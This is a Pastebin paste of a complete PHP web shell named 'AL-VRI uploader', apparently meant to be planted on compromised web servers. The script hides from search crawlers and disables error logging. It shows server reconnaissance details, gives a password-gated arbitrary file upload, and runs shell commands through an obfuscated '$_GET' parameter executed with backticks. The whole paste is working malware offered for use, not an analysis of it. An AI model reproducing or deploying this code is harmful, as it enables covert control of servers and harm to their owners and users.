azisalvriyanto

uploader-v2017.06.24.php

Jun 24th, 2017
6,140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.86 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set("error_log",NULL);
  8. @ini_set("log_errors",0);
  9. @ini_set("max_execution_time",0);
  10. @ini_set("output_buffering",0);
  11. @ini_set("display_errors", 0);
  12.  
  13. $password = "1e7709da5a292b3021adf92e1406c36d";
  14.  
  15. if(!empty($_SERVER["HTTP_USER_AGENT"])) {
  16.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  17.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER["HTTP_USER_AGENT"])) {
  18.         header("HTTP/1.0 404 Not Found");
  19.         exit;
  20.     }
  21. }
  22.  
  23. if(get_magic_quotes_gpc()) {
  24.     function ss($array) {
  25.         return is_array($array) ? array_map("ss", $array) : stripslashes($array);
  26.     }
  27.  
  28.     $_POST = ss($_POST);
  29. }
  30.  
  31. function judul() { ?>
  32.     <title><?php echo "". $_SERVER[HTTP_HOST] .""; ?> &mdash; AL-VRI (uploader) </title>
  33.     <link href="data:image/ico;base64,AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAAE4AAABNAAAATQAAAE0AAABNAAAATQAAAE0AAABNAAAATQAAAE0AAABNAAAATQAAAE0AAABPAAAAH/r/9On///////////////////////////////////////////////////////////////////////////n/8sv9//vn///////////////////////////////////////////////////////////////////////////8//jM/v/95v///////////////////////////////////////////////////////////////////////////f/6yv///+X//////////////////////////////////////////////////////////////////////////////cj//v7l///////////////////////////////////////////////////////////////////////////////I/v/45P/////////+/////v////7////+/////v////7////+/////v////7////+/////v////7//////v/4xwAA1eUTAND/GADP/xQAzv8NAMz/CwDM/wwAzP8MAMz/DADM/wwAzP8MAMz/DADM/woAzP8GAMz/AADP/wAA68g1HdvlOyXW/z0o1f8+KtX/PyvV/zwo1P84JNL/NCHR/zMg0f8zINH/MyDR/zMg0f8yH9H/MB3R/y8b1P81GvHINh7b5T4n1/9AKtb/QSzW/0Et1v9CLtb/Qi7W/0Iu1v9BLdb/PyvV/z4q1f8+KtX/PynV/z8p1f8/J9n/Oh/zyDce3OVBKdn/QizX/0Mt1/9ELtf/RC7X/0Qv1/9EL9f/RS/X/0Uv1/9FL9f/RC7X/0Mu1/9CK9b/QSja/zgf88g3HtzmQCXa/0Eo2P9CKtj/QirY/0Mr2P9DK9j/QyvY/0Mr2P9DK9j/QivY/0Iq2P9CKdj/QSfY/0El3P84H/PJNiTX4mJS3/9gUN3/YVHd/2FR3f9hUd3/YVHd/2FR3f9hUd3/YVHd/2FR3f9hUd3/YVHd/2BQ3f9gT+D/LxnywgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAA//8AAA==" rel="icon" type="image/x-icon"> <?php
  34. }
  35.  
  36. function login() { ?>
  37.  
  38.     <head>
  39.         <style type="text/css">
  40.             input[type=password] {
  41.                 width: 250px;
  42.                 height: 25px;
  43.                 color: red;
  44.                 background: #000000;
  45.                 border: 1px dotted green;
  46.                 padding: 5px;
  47.                 margin-left: 20px;
  48.                 text-align: center;
  49.             }
  50.         </style>
  51.     </head>
  52.  
  53.     <body>
  54.         <center>
  55.             <form method="post">
  56.                 <input type="password" name="password">
  57.             </form>
  58.         </center>
  59.     </body> <?php exit;
  60.  
  61. }
  62.  
  63. function w($dir,$perm) {
  64.     if(!is_writable($dir)) {
  65.         return "<font color=red>".$perm."</font>";
  66.     }
  67.     else {
  68.         return "<font color=lime>".$perm."</font>";
  69.     }
  70. }
  71.  
  72. function r($dir,$perm) {
  73.     if(!is_readable($dir)) {
  74.         return "<font color=red>".$perm."</font>";
  75.     }
  76.     else {
  77.         return "<font color=lime>".$perm."</font>";
  78.     }
  79. }
  80.  
  81. function exe($cmd) {
  82.     if(function_exists("system")) {        
  83.         @ob_start();       
  84.         @system($cmd);     
  85.         $buff = @ob_get_contents();        
  86.         @ob_end_clean();       
  87.        
  88.         return $buff;  
  89.     }
  90.     elseif(function_exists("exec")) {      
  91.         @exec($cmd,$results);      
  92.         $buff = "";        
  93.         foreach($results as $result) {         
  94.         $buff .= $result;      
  95.         }
  96.  
  97.         return $buff;  
  98.     }
  99.     elseif(function_exists("passthru")) {      
  100.         @ob_start();       
  101.         @passthru($cmd);       
  102.         $buff = @ob_get_contents();        
  103.         @ob_end_clean();       
  104.        
  105.         return $buff;  
  106.     }
  107.     elseif(function_exists("shell_exec")) {        
  108.         $buff = @shell_exec($cmd);     
  109.        
  110.         return $buff;  
  111.     }
  112. }
  113.  
  114. function perms($file) {
  115.     $perms = fileperms($file);
  116.  
  117.     if (($perms & 0xC000) == 0xC000) {
  118.         $info = 's'; //socket
  119.     }
  120.     elseif (($perms & 0xA000) == 0xA000) {
  121.         $info = 'l'; //symbolic link
  122.     }
  123.     elseif (($perms & 0x8000) == 0x8000) {
  124.         $info = '-'; //regular
  125.     }
  126.     elseif (($perms & 0x6000) == 0x6000) {
  127.         $info = 'b'; //block special
  128.     }
  129.     elseif (($perms & 0x4000) == 0x4000) {
  130.         $info = 'd'; //directory
  131.     }
  132.     elseif (($perms & 0x2000) == 0x2000) {
  133.         $info = 'c'; //character special
  134.     }
  135.     elseif (($perms & 0x1000) == 0x1000) {
  136.         $info = 'p'; //FIFO pipe
  137.     }
  138.     else {
  139.         $info = 'u'; //unknown
  140.     }
  141.    
  142.     //owner
  143.     $info .= (($perms & 0x0100) ? 'r' : '-');
  144.     $info .= (($perms & 0x0080) ? 'w' : '-');
  145.     $info .= (($perms & 0x0040) ?
  146.     (($perms & 0x0800) ? 's' : 'x' ) :
  147.     (($perms & 0x0800) ? 'S' : '-'));
  148.     //group
  149.     $info .= (($perms & 0x0020) ? 'r' : '-');
  150.     $info .= (($perms & 0x0010) ? 'w' : '-');
  151.     $info .= (($perms & 0x0008) ?
  152.     (($perms & 0x0400) ? 's' : 'x' ) :
  153.     (($perms & 0x0400) ? 'S' : '-'));
  154.     //world
  155.     $info .= (($perms & 0x0004) ? 'r' : '-');
  156.     $info .= (($perms & 0x0002) ? 'w' : '-');
  157.     $info .= (($perms & 0x0001) ?
  158.     (($perms & 0x0200) ? 't' : 'x' ) :
  159.     (($perms & 0x0200) ? 'T' : '-'));
  160.    
  161.     return $info;
  162. }
  163.  
  164. function hdd($s) {
  165.     if($s >= 1073741824) {
  166.         return sprintf("%1.2f", $s / 1073741824 )." GB";
  167.     }
  168.     elseif($s >= 1048576) {
  169.         return sprintf("%1.2f", $s / 1048576 ) ." MB";
  170.     }
  171.     elseif($s >= 1024) {
  172.         return sprintf("%1.2f", $s / 1024 ) ." KB";
  173.     }
  174.     else {
  175.         return $s ." B";
  176.     }
  177. }
  178.  
  179. function keterangan() { ?>
  180.  
  181.     <body> <?php
  182.  
  183.         if(isset($_GET["dir"])) {
  184.             $dir = $_GET["dir"];
  185.             chdir($dir);
  186.         }
  187.         else {
  188.             $dir = getcwd();
  189.         }
  190.  
  191.         $software = getenv("SERVER_SOFTWARE");
  192.         $system = php_uname();
  193.         $php = "".phpversion()." on ".php_sapi_name()."";
  194.         $ip = gethostbyname($_SERVER["HTTP_HOST"]);
  195.         $admin = $_SERVER["SERVER_ADMIN"];
  196.         $dir = str_replace("\\","/",$dir);
  197.         $scdir = explode("/", $dir);
  198.         $freespace = hdd(disk_free_space("/"));
  199.         $total = hdd(disk_total_space("/"));
  200.         $used = $total-$freespace;
  201.         $safemode = (@ini_get(strtolower("safe_mode")) == "on") ? "<font color=red>ON</font>" : "<font color=\"white\">OFF</font>";
  202.         $ds = @ini_get("disable_functions");
  203.         $disfunction = (!empty($ds)) ? "<font color=\"red\">$ds</font>" : "<font color=\"white\">NONE</font>";
  204.         $mysql = (function_exists("mysql_connect")) ? "<font color=\"white\">ON</font>" : "<font color=\"red\">OFF</font>";
  205.         $mssql = (function_exists("mssql_connect")) ? "<font color=\"white\">ON</font>" : "<font color=\"red\">OFF</font>";
  206.         $python = (exe("python --help")) ? "<font color=\"white\">ON</font>" : "<font color=\"red\">OFF</font>";
  207.         $oracle = (function_exists("ocilogon")) ? "<font color=\"white\">ON</font>" : "<font color=\"red\">OFF</font>";
  208.         $perl = (exe("perl --help")) ? "<font color=\"white\">ON</font>" : "<font color=\"red\">OFF</font>";
  209.         $curl = (function_exists("curl_version")) ? "<font color=\"white\">ON</font>" : "<font color=\"red\">OFF</font>";
  210.         $wget = (exe("wget --help")) ? "<font color=\"white\">ON</font>" : "<font color=\"red\">OFF</font>";
  211.  
  212.         if(!function_exists("posix_getegid")) {
  213.             $user = @get_current_user();
  214.             $uid = @getmyuid();
  215.             $gid = @getmygid();
  216.             $group = "?";
  217.         }
  218.         else {
  219.             $uid = @posix_getpwuid(posix_geteuid());
  220.             $gid = @posix_getgrgid(posix_getegid());
  221.             $user = $uid["name"];
  222.             $uid = $uid["uid"];
  223.             $group = $gid["name"];
  224.             $gid = $gid["gid"];
  225.         } echo "
  226.        
  227.         <table>
  228.             <tr>
  229.                 <th>Software</th>
  230.                 <th><font color=\"orange\">:</font></th>
  231.                 <th><font color=\"white\">".$software."</font></th>
  232.             </tr>
  233.             <tr>
  234.                 <th>System</th>
  235.                 <th><font color=\"orange\">:</font></th>
  236.                 <th><font color=\"white\">".$system."</font></th>
  237.             </tr>
  238.             <tr>
  239.                 <th>PHP version</th>
  240.                 <th><font color=\"orange\">:</font></th>
  241.                 <th><font color=\"white\">".$php."</font></th>
  242.             </tr>
  243.             <tr>
  244.                 <th>User</th>
  245.                 <th><font color=\"orange\">:</font></th>
  246.                 <th><font color=\"white\">".$user." (".$uid.")</font> <font color=\"orange\">|</font> Group<font color=\"orange\">:</font> <font color=\"white\">".$group." (".$gid.")</font></th>
  247.             </tr>
  248.             <tr>
  249.                 <th>Server IP</th>
  250.                 <th><font color=\"orange\">:</font></th>
  251.                 <th><font color=\"white\">".$ip."</font> <font color=\"orange\">|</font> Your IP<font color=\"orange\">:</font> <font color=\"white\">".$_SERVER['REMOTE_ADDR']."</font> <font color=\"orange\">|</font> Admin<font color=\"orange\">:</font> <font color=\"white\">".$admin."</font></th>
  252.             </tr>
  253.             <tr>
  254.                 <th>HDD</th>
  255.                 <th><font color=\"orange\">:</font></th>
  256.                 <th><font color=\"white\">".$used."/".$total." (</font>Free<font color=\"orange\">:</font> <font color=\"white\">".$freespace.")</font></th>
  257.             </tr>
  258.             <tr>
  259.                 <th>Safe Mode</th>
  260.                 <th><font color=\"orange\">:</font></th>
  261.                 <th>".$safemode."</th>
  262.             </tr>
  263.             <tr>
  264.                 <th>Disable Functions</th>
  265.                 <th><font color=\"orange\">:</font></th>
  266.                 <th>".$disfunction."</th>
  267.             </tr>
  268.             <tr>
  269.                 <th>Information</th>
  270.                 <th><font color=\"orange\">:</font></th>
  271.                 <th>MySQL<font color=\"orange\">:</font> ".$mysql." <font color=\"orange\">|</font> MSSQL<font color=\"orange\">:</font> <font color=lime>".$mssql."</font> <font color=\"orange\">|</font> Python<font color=\"orange\">:</font> ".$python." <font color=\"orange\">|</font> Oracle<font color=\"orange\">:</font> <font color=lime>".$oracle."</font> <font color=\"orange\">|</font> Perl<font color=\"orange\">:</font> ".$perl." <font color=\"orange\">|</font> CURL<font color=\"orange\">:</font> ".$curl." <font color=\"orange\">|</font> WGET<font color=\"orange\">:</font> ".$wget."</th>
  272.             </tr>
  273.             <tr>
  274.                 <th>Current DIR</th>
  275.                 <th><font color=\"orange\">:</font></th>
  276.                 <th><font color=\"white\">";
  277.                     foreach($scdir as $c_dir => $cdir) {
  278.                         echo "$cdir/";
  279.                     }
  280.                     echo "</font>&nbsp;&nbsp;<font color=\"orange\">[</font> ".w($dir, perms($dir))." <font color=\"orange\">]</font>
  281.                 </th>
  282.             </tr>
  283.         </table>
  284.         <br><br> "; ?>
  285.  
  286.     </body> <?php
  287.  
  288. }
  289.  
  290. if($_GET["al"] == "vri") { ?>
  291.  
  292.     <html>
  293.    
  294.     <head> <?php
  295.         judul(); ?>
  296.         <style type="text/css">
  297.             html {
  298.                 background: #000000;
  299.                 color: black;
  300.                 font-family: "Courier New";
  301.                 font-size: 15px;
  302.             }
  303.             a {
  304.                 text-decoration: none;
  305.             }
  306.             table, th, td {
  307.                 background: transparent;
  308.                 font-size: 13px;
  309.                 color: lime;
  310.                 text-align: left;
  311.             }
  312.         </style>
  313.     </head> <?php
  314.  
  315.     keterangan();
  316.  
  317.     if(!isset($_SESSION[md5($_SERVER["HTTP_HOST"])])) {
  318.         if( empty($password) || ( (isset($_POST["password"])) && (md5($_POST["password"])==$password) ) ) {
  319.             $_SESSION[md5($_SERVER["HTTP_HOST"])] = true;
  320.         }
  321.         else {
  322.             login();
  323.         }
  324.     } echo "
  325.  
  326.     <center>
  327.         <font color=\"orange\">[</font> <a style=\"color: red; text-decoration:none;\" href=\"?al=vri&logout=true\">Logout</a> <font color=\"orange\">]</font>
  328.         <br><br>
  329.         <font color=\"pink\">
  330.             <form method=\"post\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"filetoupload\"> <input type=\"submit\" value=\"upload\" name=\"submit\">
  331.             </form>
  332.         </font>
  333.     </center> ";
  334.  
  335.     if(isset($_POST["submit"])) {
  336.         echo "<center>";
  337.         if (@copy($_FILES["filetoupload"]["tmp_name"], $_FILES["filetoupload"]["name"])) {
  338.             echo "<a href=\" ".$_FILES["filetoupload"]["name"]." \" style=\"text-decoration:none\"><font color=\"white\"> ". basename( $_FILES["filetoupload"]["name"])." </font></a><font color=\"#7FFF00\"> => </font><font color=\"#4169E1\">success</font>";
  339.         }
  340.         else {
  341.             echo "<font color=\"white\"> ".basename( $_FILES["filetoupload"]["name"])." </font><font color=\"#7FFF00\"> => </font><font color=red>failed</font>";
  342.         }
  343.         echo "<br><br></center>";
  344.     } ?>
  345.    
  346.     </html> <?php
  347.  
  348.     $_ = range("A","Z");
  349.     $_ = $_[6].$_[4].$_[19];
  350.     $_ = ${'_'.$_}['_']; ?>
  351.  
  352.     <center><font color="orange"><br><?=`$_`; ?><br><br></font></center> <?php
  353.  
  354.     if($_GET["logout"] == true) {
  355.         unset($_SESSION[md5($_SERVER["HTTP_HOST"])]);
  356.         echo "<script>window.location=\"?al=vri\";</script>";
  357.     }
  358.  
  359. } ?>
Add Comment
Please, Sign In to add comment